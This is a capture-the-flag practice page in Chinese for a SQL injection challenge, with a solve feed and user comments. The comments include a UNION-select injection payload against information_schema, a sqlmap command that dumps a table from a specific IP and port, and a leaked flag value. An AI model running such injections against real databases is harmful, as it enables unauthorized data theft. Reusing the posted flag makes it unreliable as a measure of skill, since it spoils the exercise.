评分(24)
解题动态
L！ 攻破了该题 5小时前
box 攻破了该题 8小时前
911 攻破了该题 18小时前
LHM 攻破了该题 19小时前
yue 攻破了该题 19小时前
HZ 攻破了该题 19小时前
wyc 攻破了该题 19小时前
小蓝01 攻破了该题 19小时前
wh 攻破了该题 19小时前
diffni 攻破了该题 19小时前
dianci 攻破了该题 19小时前
cww 攻破了该题 19小时前
qyy 攻破了该题 19小时前
ghj 攻破了该题 19小时前
_T_ 攻破了该题 19小时前
lkgjlkglkw 攻破了该题 20小时前
popppyy 攻破了该题 20小时前
hyxi 攻破了该题 20小时前
Pisces_11z 攻破了该题 20小时前
评论
15826978220 2年前
举报
单引号闭合，联合注入
3166235571 2年前
举报
flag{467bbedc241402f5b4e28f37ace7ef82}
不聪明小孩 2年前
举报
-1 'union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database()#找到列名skctf_flag，才能从fl4g的表里面找到对应的列的值
19818532957 1年前
举报
佬，请问为什么用这条只能爆出一个字段名？-1 'union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'; #
DrKeen 2年前
举报
hackbar有问题id=1'做不到，用burp搞了
SmallH 2年前
举报
是不是真的环境被改了呀？真的对照WriteUp一步一步来还是没回显，每次注入就全部重置，是不是考虑退一下金币了？？？
.⎛⎝•̀ω•́⎠⎞. 2年前
举报
我用sqlmap做出来了
gboyd 2年前
举报
我1’ 1” 1‘） 1”） 1 都试过了为啥都显示正常啊！！！！！
NPC 2年前
举报
环境绝对有问题，照着答案注入都无回显！！！退金币！
EtHat 2年前
举报
sqlmap一把梭哈
blackjack009 2年前
举报
python sqlmap.py -u http://114.67.175.224:11724/index.php --random-agent --dbms mysql --data="id=1" -p id -v 6 -T fl4g --dump
18946551925 2年前
举报
为什么一注入就连接已重置啊？？？？？？烦死了，差哪呢？